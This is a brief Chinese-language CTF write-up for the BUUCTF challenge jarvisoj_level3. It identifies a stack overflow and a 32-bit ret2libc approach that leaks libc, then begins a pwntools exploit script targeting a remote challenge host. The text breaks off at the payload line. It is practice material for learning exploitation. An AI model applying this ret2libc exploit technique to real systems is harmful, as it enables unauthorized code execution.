BUUCTF-jarvisoj_level3

checksec

IDA

main

 

很明显的溢出点

再没有其它有用的信息,而且本题没有system,bin/sh

既然如此,解决思路就有了,泄露libc,32位的ret2libc3 

EXP

from pwn import *

#start 
r=remote("node4.buuoj.cn",25236)
# r = process("../buu/jarvisoj_level3")
elf = ELF("./29level3")
libc = ELF("./libc-2.23-32.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack 
payload =